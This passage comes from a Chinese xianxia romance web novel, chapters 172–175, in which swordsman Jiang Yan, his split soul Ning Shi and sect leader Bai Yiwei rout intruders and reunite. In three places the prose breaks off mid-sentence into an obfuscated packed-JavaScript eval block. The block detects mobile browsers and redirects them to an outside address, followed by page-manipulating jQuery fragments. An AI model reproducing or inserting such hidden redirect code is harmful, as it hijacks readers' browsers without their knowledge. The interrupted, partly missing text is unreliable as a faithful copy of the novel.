有见多识广的修士,被那长剑上的红宝石晃了眼,却又迅速想到了什么,和身边的人低声谈论着: “那是攻玉剑吧,上面有红宝石呢。” “如果是真的,那应该是那位的本命剑了……” “修亭峰峰主不是早就死了吗?虽然白掌门对外说是闭关修炼,但那么大的雷劫后,也从来没有听见过他的消息了。” “那依照今日所见,他还真是闭关了?” “谁知道呢……还是先担心眼前吧。” “都说剑修脾气不太好,这位又是掌门的亲师弟,怕是要麻烦了。” “那我们待会要跑吗?” 身后传来一声不轻不重的闷响,应该是一名修士终于忍不住敲了另外一人的头。 但停止议论的只是这二人,殿内的修士是如此之多,更多的嗡嗡声不断涌起。 江晏没有再理会这些,他只是静静看着白一苇,片刻后小声道:“掌门师兄,我好了。” 白一苇是早就站起身来的,他向前迈了两步,身子微微前倾,对剑修伸出双手,是一个拥抱的姿态。 若是细细看去,他的指尖还在轻微的抖着。 这掌门开口,同时抱住了剑修的肩,声音带了几分咬牙切齿:“你这十年到底是怎么回事!” 江晏也伸手,拍了拍他的背:“说来话长,不过我现在终究是已经……恢复了。” 在场人多眼杂,所以江晏想了想,话说出口还是收着了些,用了“恢复”两字。 白一苇也没有追问他具体的修为,只是不断地轻拍着他,口中重复着“没事就好”“没事就好”。 如此片刻后,才终于放开了他,转身对着殿中众人,又恢复了那副威严的表情: “曾听闻修真界有谣传我宗修亭峰峰主故去的消息,如今我师弟正好好地站在这里,”他语气强硬了几分,“谣言不攻自破。” “我也知道,这些谣言是从哪些人嘴里传出来的。” “其中甚至有些人,”白一苇四下扫视众人,“就在这大殿之中!” 他冷冷道:“过往之事我便不再计较,现在请诸位离开罢。” 江晏站在白一苇身边,觉得自己应该做点什么,来帮助他师兄增加一些气势。 由于他在这种场合一向算不上健谈,因此江晏想了想,将右手搭在攻玉的剑柄上,微微用力。 一道脆声响起,寒芒凌凌,攻玉剑正在出鞘。 众人面面相觑——众所周知,剑修的脾气都不太好。 或许他们还能用所谓的“大义”来压一压白一苇,但如果碰上这位修亭峰峰主……对方可能直接提剑砍过来了。 情况有变,这些修士竟是一时间不知所措了,刚才观水殿中还算有序的队伍,此时已经彻底乱掉。 白一苇目不斜视,冷眼看着台下这群人慌成一团。 江晏站在一旁,却听见他用传声对自己道:“你啊……是刚苏醒吗?没有起床气吧?” 江晏有些疑惑,却还是回答了他:“是,不知道有没有——你问这些做什么?” 白一苇在传音里叹气了,他说:“没事,只是提醒一下,尽量不要揍他们。” 江晏:“……哦。” 白一苇预判了他的想法,于是他获得了掌门的阻止。 他便和白一苇一起默默望着殿下,一边思考着刚刚的话——“尽量”二字的意思,是不是说他依然可以在对方比较过分的情况下揍他们? 殿上殿下两派人各怀心思,在殿下那群修士中,最后还是那年长修士做了决定。 只见他装模作样地向前鞠了一躬,又向左右挥挥手,是带人退下的姿势。 这场闹剧终于有了要了结的态势。 众人转身向门口走去,江晏看着那口被中年修士带走的黑箱子,忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15202099|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住道:“带着别人门主的那位,留步。” 中年修士似是听到了,他非但没有回头,脚下的步子却是更快了。 江晏:…… 他看了眼在一旁眼巴巴望着自己的那位瘦小的胜意门修士,几乎可以完全肯定,箱子里面装着的,就是宁时。 ——只是这人怎么还不醒? 但不管宁时何时苏醒,现在是绝不能任由他人随意带走宁时的身体的。 江晏身形一晃,瞬间移到了这中年修士面前,又伸出左手来按在黑箱上。 他身量比对方高了半头,因此可以垂着眼看着对方,带着自然而然的压迫感,缓缓道:“这个留下,你可以出去。” 中年修士眼睛转了几圈,却是挤出一个笑来,道:“江峰主不要听那人乱讲……”,一面用两只手抱住那箱子首端。 江晏不容他把话说完,只是更加用力地按住黑箱,使其在自己掌下纹丝不动,一边打断对方道:“你放手。” 那修士还想再说什么,刚一开口,却神色微微一滞,连脸上的假笑都难以维持了。 江晏盯着他的脸,却是知晓对方此番脸色突变的原因——他和对方共同按在一口黑箱上,自然能共同感受到刚刚还平静的黑箱,此时突然自发地晃了几晃! 像是内部有什么活物在动作。 箱子依旧在晃动着,甚至动静比刚才还要大了——那已经不能称为“晃动”了,应该是“震荡”! 这内部的活物在箱中用力敲击着,似是要破箱而出! 中年修士惨白了脸,后退一步,抖着双手离开了黑箱。 江晏却感到自己的一颗心在狂跳。 这个动静…… 他无法自抑地向前迈出了一步,同时放下手来,以免影响宁时的动作。 他们这里弄出的声势实在是太大了,一时间,殿中所有人的目光,都齐聚在了这黑箱上。 只见这黑箱狂暴地剧烈震动了几下,又猛然弹到了一人高的空中,自内而外爆发出明亮的红光! 整个大殿都镀上了层流动的浅红,只听得一声巨响过后,又是碎木板接二连三落地的声响。 在这数不清的动静后,那晕开的红光终于渐渐收敛了,众人眯眼,向原本木箱的方位看去。 只见一青年男性立在一地碎片中。 他一袭黑衣,同样漆黑的长发四散下来披在身后,面色雪白,长眉微挑,用冷冰冰的瞳仁在观水殿内扫了一圈。 鸦雀无声。 江晏站在他身旁不足两步之处,即使是不用看对方这张脸,仅仅凭着神魂之间的气息,他就知道,眼前的人就是宁时。 就是他的分魂。 他百感交集,正对上宁时看过来的目光,张了张嘴,千言万语涌上心头。 宁时目光也是动了动,看起来有话要说。 这时,一声由远及近的干嚎打破了观水殿中的寂静! 只见那胜意门的瘦小修士一路小跑过来,口中哭喊着:“宁门主!门主终于醒了!” 他终于跑到了宁时面前,哀哀戚戚地倒在门主腿边,哭唧唧道: “您昏迷的时候,我们胜意门可惨了!” 宁时低头,看着地上这一把鼻涕一把眼泪的自己人。 又一眼不发,抬头看向江晏。 江晏见他额角跳了跳——这位门主,开始生气了。 可能是为了胜意门的事。 也可能是因为……醒来之后听到的第一句话不是剑修对他说的。 173. 动手 观水殿中,回荡着那瘦小修士的哭嚎。 宁时:…… 他看了眼江晏。 江晏摊摊手,递给他一个眼神——经过了在这么多个小世界中的相处,仅仅是四目相对的一瞬,宁时就知道,剑修知道自己回来了。 他便点点头,对剑修道:“看来我醒得有点晚了,”又叹了口气,看向脚边依旧在哭唧唧的小修士,“先把这些外事处理一下。” 江晏平静地“嗯”了一声。 但白一苇却不平静了,在刚才的混乱中,他已离开殿上站到了江晏身边,此时见这位胜意门门主和自己师弟的互动,全都是不对劲—— 两人之间的气氛,是格外地熟络与和谐。 白一苇眉心跳了跳,又想起对方刚才那一句“外事”。 有“外事”,那自然是有“内事”的。 这句话又是冲着他的江师弟说的——师弟何时同这胜意门门主走得这么近了! 白一苇只觉得自己完全不能再细想下去,他一把拉住江晏的袖子,小声问:“你和那宁门主究竟是怎么回事?” 江晏:?! 他没有想到,白一苇敏锐至此,仅仅通过自己和宁时打的照面,就看出了端倪。 事情说来话长,但又早晚得让白一苇知道真相,江晏斟酌着措辞,含糊道:“师兄,我这番恢复,也少不了宁门主帮助。” “当然,我也帮了他一些事情。” 白一苇:? 那不就是救命之恩生死之交了吗? 掌门脑瓜子嗡嗡——如此看来,这两人的交集就更深了! 那宁门主还总盯着他的师弟看! 总之是心怀不轨的模样! 白一苇扶额,正要说些什么,那边宁时却有了动静。 只见他轻轻拍了拍那胜意门小修士的脑袋,叹道:“没事了,我回来了,你们什么时候才能让门主省省心。” 小修士才磨磨蹭蹭地站起来,退到一旁。 他这个哭唧唧的挂件远离宁时之后,江晏感到,宁时身边的气压明显产生了变化—— 和刚刚无奈的神情不同,此时的宁时,面无表情,用一双漆黑的眼珠在殿中扫了一遍,最后将目光定在了中年修士身上。 那中年修士和他四目相对,轻微地打了个抖。 宁时看着他,好似猫看老鼠一般带着戏谑,用手指了指地上的黑箱碎片,缓缓出声:“我从这东西里出来之前,可是听到了你们不少谈话。” 中年修士见鬼般地盯着他,抖着腿后退一步。 宁时继续道: “虽然难以置信,但我还是听懂了。” “你们是想用修真界一些修士的修为,来实现重新搭建天梯的目的。” 他冷笑一声,向那中年修士走过去:“还以为是有些人要放弃自己的修为给别人机会呢,没想到你们是直接上门抢人啊。” 那中年修士两股战战,已被宁时逼到墙前,再无可后退之处。 宁时就站在他面前,语气森凉:“正如白掌门所言,我真的很好奇,你们今天来此,究竟是何居心!” 那中年修士被他劈头盖脸怒斥了一顿,却是突然生出了几分胆量,仰头笑道: “我们还不是为了整个修真界!” 宁时:“嗯?” 中年修士哈哈大笑:“献出一部分人修为,就能使所有修士正常飞升,还有比这更划得来的方法吗?” “这明明是一桩好事!” “你瞧瞧大大小小的宗门,再或者是那些散修——他们门派里很多修士都因为不能飞升,才寿元渐消快要死了!” 旁听的江晏:…… 他甚至没有听完这中年修士后续所说的话,就已经感到自己的拳头硬了。 他按捺不住,右手已经拔出了攻玉剑! 站在他身旁的白一苇:…… 他眼疾手快,一把拍在江晏手上,硬时压着师弟把攻玉剑收回了剑鞘中! 江晏被他阻止了动作,但不明所以,只是看着他,歪了歪头,疑惑道:“师兄?” “为什么不让我打他们?” “他们说的这还是人话吗?” 白一苇开始叹气了,他感觉自己一天天有操不完的心:“——你就算要和他们动手,也要等他们打你之后动手。” “他们打不过你,我们又是名门正派,这样就可以在不受伤的情况下,占理” 江晏就轻轻“哦”了一声。 在他们身前不远处,宁时却突然回头,瞪着白一苇! 白一苇:? 这次换成他摸不到头脑了,他看看自己的师弟,又看看面前这位好似和自己师弟有非同一般关系的门主。 只见宁时挑了挑眉,道:“白掌门想得可真是周全。” 白一苇打哈哈笑道:“哪里,哪里。” 宁时就也笑了,不知为何,白一苇见了他这个笑,突然感到背后吹过了一阵小凉风。 宁时一手抵住下巴,看看他,又看看江晏,接着又去看他面前的修士,似乎在思考着什么。 片刻后,宁时突然毫无征兆地暴起,红色的灵力化为长鞭,狠狠抽向面前的中年修士! 灵力带着破空之声迅速向人袭去——仅仅是光听声音,就能知道他根本没有收手,是实打实地打人。 那中年修士不料真有人会在合江宗掌门眼皮底下动手,完全来不及闪避,就被这道红色灵力打飞到了殿门三丈之外,重重落在广场的石板上! 一瞬间,尘土飞扬,倒地的人形隐没在烟灰之中。 见到此情此景,殿内的修士们安静了片刻,随即又乱了,慌成一团。 有机灵点的悄悄蹭着步子,准备从那年长修士身边挪走;也有吓傻了的,呆立在原地不动的。 还有的围在那倒地不起的中年修士身边,查看他的伤势;有的则是神色忿忿,口中不平道: “合江宗不是自诩为名门正派吗?为何还先出手伤人?” 江晏听了这番鬼话,简直要翻白眼了。 但在他发出属于剑修的物理攻击之前,宁时慢吞吞地开口了。 他说:“哦,你也知道你说的是合江宗。” 他立在原地,双手抱胸:“反正我是胜意门的,唔,就是你们口中说的那些什么……上不得台面的东西。” “既然你们不拿胜意门当什么好东西看,我想,我也自然不必遵守所谓的规矩了。” 他右手一翻,红光闪现,待众人再次能看清他手部时,只见食指和中指之间,夹了一张浅黄色的符纸。 宁时歪歪头,语气平淡:“合江宗不打你们,是人家怕脏了自己的名声。” “但我就不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227104|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,我不介意。” 他抖了抖手中的符纸:“这是一张……” 后半句话还没有说完,底下的人群猛然骚动起来! 无数人影纷纷涌向殿门口! 宁时:…… 事情比想象中似乎要好办一些。 他便继续捏着这符纸,同江晏对视一眼后,又抬起左手,做出了副准备催动口诀的样子,故意扬声道: “追魂符……要是贴上了谁,就等着吧,永远摆脱不掉的。” “即便是到天南地北,都会被我找上的。” 他短短两句话的功夫,观水殿内,已然彻底空了。 这群乌合之众蜂拥逃命,竟是再也不敢在此地同白一苇讨价还价了。 白一苇长呼出一口气,看着殿门口沉默着——那中年修士已经被人群带走了,原地空留下一个布满裂纹的浅坑。 宁时敏锐地感受到了这位掌门的心情变化。 于是他凑过来,小声说:“白掌门,刚刚只是权宜之计罢了。” “您看,这维修费用,不如几日之后您派人去胜意门取一下?” 白一苇:…… 他无奈了,只觉得胜意门门主为人确实如同传言中一样飘忽不定,自己完全跟不上对方的想法——他堂堂一个掌门,难道会因为几块地砖坏了专门去别的宗门索赔吗! 他嘴角抽了抽,重新拾回掌门的风度,对宁时笑道:“不用了,合江宗还要感谢宁门主出手相助呢。” 宁时:“噢。” 他和白一苇本就不熟,礼节性地对话过后,此时便有些不知道说什么了。 而白一苇经过这一番混乱后,整个人也是有些疲惫了,他想了想,对宁时道: “不知宁门主此次醒来之后,打算如何?” 宁时:…… 他确实还没想这个问题。 但这是江晏说话了:“掌门师兄,现在人都走了,我有话要和你说。” “宁门主也就让他留在此地罢,反正这些话也同他有关。” 经他这么一提醒,白一苇便想起来,对方曾把十年间发生的事用“说来话长”和“少不了宁门主帮忙”概括。 此时,不再有乱七八糟的人打扰了他们了,正是一个交流的好时机。 于是他点点头,用灵力移来桌椅茶具,三人围桌而坐。 一切都安定下来,江晏看着宁时,在分魂苏醒之初还没来得及外放的情绪,此刻反扑上来。 他的眼睛突然就热了——在旁人眼中,这不过是十年。 但不同的小世界一并加起来,剑修也不知道自己在外漂流了多久。 此时,终于再次见到了活生生的宁时。 他穿过数百年间的风雪、高楼、老街、荒原、竹林,再次回到了自己身边。 旧事翻涌,江晏望着分魂的瞳孔,果然也在对方的眼中看到了自己。 剑修就眨了眨眼睛。 然后他看到瞳孔中的自己在迅速变大,接着身上一紧——是宁时抱住了他。 像从前在任何一个世界中的拥抱一样抱住了他。 身上因为这个拥抱暖了起来,就连脖颈处也是温腾腾的痒,是宁时在他耳侧说着话。 他的分魂说: “到家了,晏晏,我们会永远在一起的。” “不论生死。” 174. 你们两个之间到底是什么关系^^…… 剑修和他的分魂的拥抱并没有持续太长时间。 因为此地还坐着一个白一苇。 不明状况的掌门,在对面二人贴贴中如起爆符般发出夺目的、属于电灯泡的光芒: 白一苇拼命干咳,终于还是忍不住道:“你俩,这是在做什么?” “合成体统!” 江晏和宁时:…… 二人默默分开。 江晏有些尴尬,忍不住扶额——分魂此事虽说说来话长,但终究还是要给白一苇解释清楚的。 他想了想,道:“掌门师兄,我给你说件事,你先不要激动。” 白一苇:“……你让我不要激动,肯定是要说什么能让我激动的大事了。” 江晏干咳一声,决定先用一句概括性的话作为开端:“我一体双魂,宁时也就是我。” 白一苇:? 但掌门毕竟见多识广,很快也就接受了:“原来如此——修为越高,渡劫对修士的要求就更加严格,想来当年你大概是因为神魂不全,突破才不算顺利。” 江晏便点点头。 白一苇看看他,又看看身旁的胜意门门主,再次开口:“只是,一体双魂说的是共用一个身体,那你们现在为何会分开?” 江晏听他如此问,忍不住和身旁宁时相视一眼——俱是从对方眼中看到了无奈。 江晏回道:“从前是没有分开的,只是当年被一个修邪术的家族抓起来,逃跑的时候被砸到了头,”他又指指宁时,“我们俩个神魂在丝毫没有察觉到对方存在的情况下,就这样分开了。” “我还用的是原本的身体,宁时另找到了一具身体附进去。” 这一大段话说完,屋内安静片刻。 白一苇面色冷下来,忍不住问:“这是你进宗门之前的事吗?那邪修——到底是哪家?” 江晏拍拍他的肩:“是的,但已经解决了。” 白一苇重复着后面两个字:“解决?” 江晏点头。 一旁的宁时突然出声:“嗯,因为我后来把他们一锅端了。” 白一苇闻言,猛然抬头。 宁时却根本没有看这位掌门,他只是把目光聚在江晏身上,对剑修道:“我厉害吧。” 江晏:…… 宁时这副样子,甚至有点像一只小狗蹲在自己面前摇着尾巴渴望夸夸了。 他想起从前回溯时的所见,那样一个小少年,能把何家整个干翻了天,确实是很不容易的。 江晏就自然而然地伸出手来,揉了揉分魂的头顶,口中道:“嗯,特别厉害。” 宁时就笑了。 在他们一旁,是比刚才还要更加沉默的白一苇。 在白一苇再次发出的干咳声中,江晏收手了。 他转过头面对师兄,一脸乖巧:“嗯?” 白一苇就有些崩溃了:“暂不说这十年里你们经历了什么事,你要先告诉我,你们两个之间,到底是什么关系!” 江晏抿了下嘴:“那还是请掌门师兄先不要激动……” 白一苇用力捂了把脸,随后看着二人,打断了剑修的话:“算了,能看出来,我都多余问这句话。” 江晏:…… 宁时则是笑出了声,道:“没想到,白掌门人也很有意思啊。” 江晏看着他这副气定神闲的样子,忍不住一把把人拽过来,对白一苇道: “掌门师兄,我爱他,他也爱我。” “我们打算以后一直在一起。” 宁时:…… 这次换成符修沉默了。 回到原世界中,他还是有些不习惯面对这种热烈而直白的情感,一时间,在剑修的话中微微红了耳朵。 白一苇看着昂首挺胸的自家师弟,又看着被师弟搂着的、气势突然萎靡下去的胜意门门主。 掌门安静片刻,才艰难口:“好,好。” 白一苇顿了顿,再次说下去时,便流畅了很多: “虽说一时难以接受你和自己相悦这件事……但是仔细想想,也未尝不好。” “你平日里总是一个人,从前我就在想,你这样,会不会寂寞?” “也许是不觉得寂寞的,当一个人的心还是空着的时候,是并不会知晓空和满的区别。” 他看了看宁时,道:“当我把你看成师弟的另一个魂魄时,见你和师弟挨在一起,竟也不觉得违和。” “你们既然原本就是双生的魂魄,那相伴在一起,也是正常的。” 白一苇对着二人,最终道:“你们在一起的时候感觉更好,那便是好的。” 他说完了,端起身旁的茶杯一饮而尽。 江晏小声说:“谢谢师兄。” 宁时也跟着微微颔首,道:“谢谢白掌门。” 白一苇放下茶杯,摆摆手,道:“什么谢不谢的,只是想看到你们活得有滋味罢了。” 江晏就笑了,他用手肘捅了下宁时,二人便双双举杯,对白一苇一敬后,互相轻轻一碰,倒入口中。 剑修和分魂之间的关系,得到白一苇认可后,两人心中的悬着的石头就终于落了地。 江晏便道:“掌门师兄,那我再讲讲这十年之间的事吧。” 白一苇点头,道:“方才在殿上,你对我说,这十年间是宁时救了你?” 宁时在一旁听着,不料剑修曾这样说过,瞬间侧过脸看向江晏。 江晏早有预料,对他歪着脑袋笑了一下,道:“怎么不是呢?” 说罢,对白一苇道:“我昏迷的这些年里,在修真界是十年,但对于我们,是数百年。” 白一苇的眼睛就一下子睁大了。 江晏继续道:“当年我遭遇雷劫,神魂被劈散了一部分,散落在不同的世界中。” “我这些年,就是去陪着这些神魂的碎片了。” 他这么一说,白一苇就听懂了,但仍有疑问:“不同的世界?这又是什么?” 江晏就很有耐心地同他解释:“红尘三千,人生活的形式也不止是我们这里的人界或者修真界。” “有的人界,完全和修真界是分割开的。里面的人不会法术,但依旧可以驾驭器物上天入地。” 白一苇奇道:“还能如此?” 江晏点点头:“正是。” 又继续讲下去:“有时候,正常生活的凡人也会被吸入另一种小世界里。” “在小世界里,他们需要解密,需要发现事情的真相。” 剑修想了想,说:“倒是有些像宗门给小辈们准备的是练秘境了——只是并不安全。” 有些经历形容起来比较抽象,江晏本来已经做好了被白一苇问东问西的准备,却不料白一苇只是怔怔地看着他们,片刻后问: “不安全的话,那你们是不是吃了很多苦?” 江晏:…… 他眼眶有些发热了,但还是实事求是道:“不算吃苦,我也只是为了早点回家。” 说罢,又和宁时对视一眼,两人目光中俱是同感——他们在少年时,已经吃尽了人生大多的苦。 如今也可以称得上一句“苦尽甘来”了。 江晏便继续给白一苇讲着故事,讲从前合江宗的大选,将自己曾附身于妖狐。 又讲他在每一个世界中,都是如何去找、去陪自己的分魂的。 他讲得口干舌燥,不知不觉中已经喝了四五盏茶,而观水殿外的天空,也渐渐染上了鎏金色。 在最后的最后,江晏右手握住宁时的手,用左手去拉白一苇的袖子,一边摇晃着一边道: “师兄,你看在我这么可怜的份上,可以让另一个我住在修亭峰一段时间吗?” 白一苇:? 多年未见,他师弟作为一个剑修,居然学会撒娇了。 于是在剑修满含期待的目光中,白一苇艰难地点点头—— 峰主和其他门派的掌门在一起了,或者说峰主自己和自己在一起了,这件事,前无古人后无来者。 但合江宗可以做第一个。 …… 见他松口,江晏就又笑了。 宁时也戳了戳剑修,道:“还不快拿点东西谢谢你师兄。” 江晏一时没有反应过来,只是望着分魂,“欸?”了一声。 宁时便托起下巴,语气揶揄:“就是我们从前打架抢过的、但是在某一个世界里非常多的东西。” 旁听的白一苇:? 他不明所以,只是阻止着已经恍然大悟的剑修摸索宝物的动作。 江晏却拍拍他,道:“师兄不必客气,我们说的是陨铁。” 白一苇语速极快:“师兄作为掌门还能缺什么东西?怎么能要你的?赶快收起来……欸?” 他眼睛慢慢瞪圆了:“小江,你刚 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也就是说,不同于往常的虚影,现在只要啾啾有意愿,它可以随时让别人看到自己的形体。 正如此时它面对的宁时和白一苇。 白一苇对着这只突然出现在小鸟,尚在震惊之中。 相比之下,宁时就显得更加泰然自若了。 他甚至伸出手来,对白一苇指了指啾啾,道:“我和晏晏,是通过它把陨铁带回来的。” 白一苇第一个反应是——晏晏!他怎么可以这样叫自己的师弟! 两人在他不知道的地方,怎么可以这样熟了! 但显然此刻并不是纠结于此的好时机,白一苇深吸一口气,努力将思绪拉回正事上,再看着啾啾,便只觉得难以置信:“它?一直这么小的鸟?” 啾啾不忿,翘起尾巴冲他大声叫了两声:“啾!啾啾!” 小鸟体态表达出的感情过于明显,白一苇默默收回了所有神情,只是肃着一张脸,坐在原地。 江晏看着他们的互动,笑了:“师兄莫要见怪,这正是师兄从前赠予我的宝器之一。” 白一苇:“……虽然我给你的东西不少,自己不能一一过目,但这么吵的东西,我不应该记不住的。” 宁时在一旁补充:“你记不住是正常的。” 白一苇:? 这符修对着掌门的一脸问号,才慢悠悠补充道:“因为,这只小鸟从前在一颗蛋里。” 啾啾听到此处,扑棱着翅膀,飞上了宁时的头顶。 就像它从前无数次飞上过剑修的头顶一样。 宁时也就抬手摸了啾啾一把,感受着微凉的鸟羽划过指尖,道:“不知白掌门可否还记得,当年合江宗新任掌门和峰主的那一场盛典?” 这么具有重要意义的事,白一苇自然是记得的,他点点头:“是了,在广华殿,当年还邀请了许多宗门,他们纷纷献礼……” 白一苇的话突然顿住了。 宁时就笑起来,道:“当年我也受邀,上台献礼。” 白一苇的眼神在他和他头顶上的小鸟之间直来回打转,片刻后,他轻声道: “不错,我是有印象的。” “当年,你献上了一颗蛋。” 啾啾蹦了两下。 白一苇又说:“然后我把这颗蛋,给了我的江师弟。” 江晏点点头,补充说:“嗯,然后带我渡劫的时候,它说自己是一个神器,但最后变成了一只小鸟。” 啾啾就从宁时头顶飞到了他的头顶,抗议:“神器当然有各种形态,变成一只小鸟又怎么了!” 它昂首挺胸,神态傲然:“我是可以沟通宇宙的——要不是如此,怎么能把这么多的陨铁带回来?” 三人一鸟叽叽喳喳,如此这么说了几轮话后,白一苇终于确定了,陨铁这块大馅饼,就这样突如其来地砸到了自己和合江宗、甚至是整个修真界头上。 于是白掌门再次开口时,语气便轻快了许多。 他只说了两件事: 一,修亭峰上要安排出专门的院落供胜意门门主常住。 二,合江宗即刻草拟出共筑天梯的邀请,五日之后传送至修真界各个宗门。 175. 一个吻 合江宗如果是要办起什么事来,速度一定是极快的。 在江晏同白一苇会谈后的半柱香内,宁时暂住的屋子已经被安排妥当——就在修亭峰峰主的照夜居一旁的养辉苑。 于此同时,另一个天大的消息也在合江宗内蔓延,那就是——消失十年的修亭峰峰主江晏,再次出现了。 虽然白一苇对外声称他是闭关修炼,但当年剑修渡劫时产生的动静是何其之大,闭关这个说辞或许可以瞒得住外人,但在合江宗内部,众人已经心照不宣地默认了他曾经在雷劫下出了事。 因此,江晏本人出现带来的震撼是不能估量的。 就正如此时,他御剑载着宁时,不过是刚刚飞到修亭峰的山巅,就见到了乌泱泱一片跪在地上的弟子们。 江晏:…… 他还未来得及抬手示意他们起来,便只听得一阵浑厚的人声合音响起: “修亭峰弟子恭迎峰主归来!” 这声音直冲云霄,江晏再说什么也已经晚了。 他只能故作严肃地微微颔首,传音到众弟子耳中:“嗯,起来吧。” 于是弟子们又整整齐齐地起身,仰头望着他们的峰主带着一个陌生人,缓缓降落在修亭峰上。 江晏收起了攻玉剑。 在他身后,宁时小声嘟囔道:“这还算是我第一次来你这边呢。” 江晏在众人看不到的地方,轻轻勾了下分魂的小指。 于是宁时就心满意足地闭了嘴,继续跟在剑修身后,来充当一个小尾巴。 江晏缓缓越过修亭峰的弟子,想了想,最终还是停下步子,决定和他们说上几句话——虽然剑修现在更相同分魂待在一起,但面前这些小辈们清澈又略带愚蠢的眼神打动了剑修。 于是剑修在电光石火之间,已经决定好如何和小辈们沟通这十年来的感情了! 那就是——询问他们的修习进度! 江晏清了清嗓子。 底下的弟子们条件反射似地抖了抖。 江晏打量着他们,随手指了一个后排自己没什么印象的小修士:“你,姓名,我闭关之前你的修为和现在的修为。” 被他点到的那名修士不过十四五岁,是一位梳着高马尾的少年。 他听见江晏这样说,又在四下环视一圈确认了被点名的是自己后,脸上便快速涌上了一层红。 ——也不知道是激动还是紧张。 他在江晏的目光中开了口,语速虽说是快的,但声音又抖又结巴:“江,江峰主好!我叫万保保” 江晏:“嗯,小万你也好。” 万保保听了他这句话,脸上的红就更深了,磕磕绊绊道:“十年之前我是炼气期,现在已经是筑基后期了。” 这个速度,算得上是合江宗内中等水平偏上了。 于是江晏便点点头,道:“不错。” 在万保保因为他这句话而愈发变红之前,江晏认为不能只对着一个小朋友薅了,于是他又点了另一位看起来年龄稍长些的修士。 这次的结果是从金丹初期到金丹后期,也是不错的结果。 江晏就接着点了几位幸运弟子,发现大家在他消失的这十年中都没有摸鱼,修炼成效显著,便满意地点点头,潇洒离去—— 毕竟,回到原世界已经过去大半日了,他甚至还没有找到机会和宁时独处! 他脚下生风,带着宁时穿过旧时的竹林,向着照夜居方向去了。 修亭峰的弟子们被抛在身后,偌大的竹林中只有他和他的分魂二人。 江晏张了张口,想问他十年之前发生那场意外时胜意门中的情形。 但宁时却比剑修先开了口:“唔,你们这些弟子,和我们不是一种风格。” 江晏便成功地忘记了自己本欲要说什么,只是顺着分魂的话头问:“如何不同?” 宁时答:“修亭峰上的孩子们,看起来规规矩矩的。” “至于胜意门嘛……想来你也见过其中的一个了。” 江晏便想起了那位在观水殿中扒在宁时腿边哼哼唧唧哭泣的胜意门小修士,一时间沉默了。 宁时瞧着他的脸色,自然猜出了剑修心中所想,眼底动了动,也是想到了什么,便就笑了: “当年,我在魔界,在云山幻境中看你,就觉得你和我虽说是同一神魂,但因环境不同,养成了不同的模样。” “如今看来,我们带出的孩子们也都是不同。” “也是颇为有趣。” 江晏便道:“胜意门的孩子们活泼伶俐,很是可爱。” 宁时同他一起走着,拂过面前横斜的竹枝,问:“说起来,我们的江峰主都这么厉害了,有没有收徒呢?” 江晏看着他的侧脸在竹叶间掩映,被衬得愈发俊秀,脑海中一时间竟只剩下“有匪君子,如金如锡,如圭如璧”了。 宁时见他眼神发直,就笑了,伸出手来在他面前挥了挥:“想什么呢?” 面前是一张逐渐放大的俊脸,江晏尚在飘飘然中,瞬间脱口而出:“我在想徒弟应该叫你师娘还是师公。” 宁时:…… 江晏说完这句话才堪堪回过神,也是沉默下来。 在竹叶簌簌声响中,他觑着宁时,终于补回来一句:“啊……其实我没有真正收徒呢,所以不存在这个问题。” 宁时就继续看着他,不说话。 江晏继续找补:“啊,可能是因为我太年轻了,不过掌门师兄说我不急,以后总会有很多自己的徒弟的。” 宁时:…… 他无奈了,但嘴角却是向上勾起来的,一便伸手摸了摸对方头顶,道:“嗯,不要再转移话题了。” 又在剑修羞愤之前,轻飘飘补充了一句:“没事,师娘师公我都可以的。” “因为,那个人是你啊。” 说罢,一双漆黑的瞳仁紧紧盯着剑修。 江晏便能很清楚地看到,自己在对方双眼中的倒影。 竹叶纷飞,暗香缭乱,他一时间无言了。 只是轻轻拉起宁时的手,和这分魂一同向照夜居走去。 不一会儿,小院斜飞的屋檐透过竹林映在天际,他们终于到了住处。 江晏和宁时并肩站在院落前,在他们左手边是照夜居,右手边是新收拾出来的养辉苑。 宁时并不知晓哪一处是自己的新住处,他对这个问题也并不是很好奇,因此,他对剑修问出口的是: “你住在哪里?” “我想先去你那边看看。” 江晏便点头,抬起手一指:“这里,我的照夜居。” 又指了指旁边的院落:“这是给你的养辉苑——从前一直空着的,但有人打扫。” “今天重新收拾了出来,我让人布置得和照夜居几乎一致,可以去瞧瞧。” 宁时轻轻握了下剑修的手,回答:“不急,我想先去照夜居。” 分魂的回答基本也在江晏意料之中,他便拉着宁时,打开了照夜居的大门。 两扇木门訇然中开,二人视线一阔。 面前是个并不算大的四合小院,院中种着一片竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246443|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 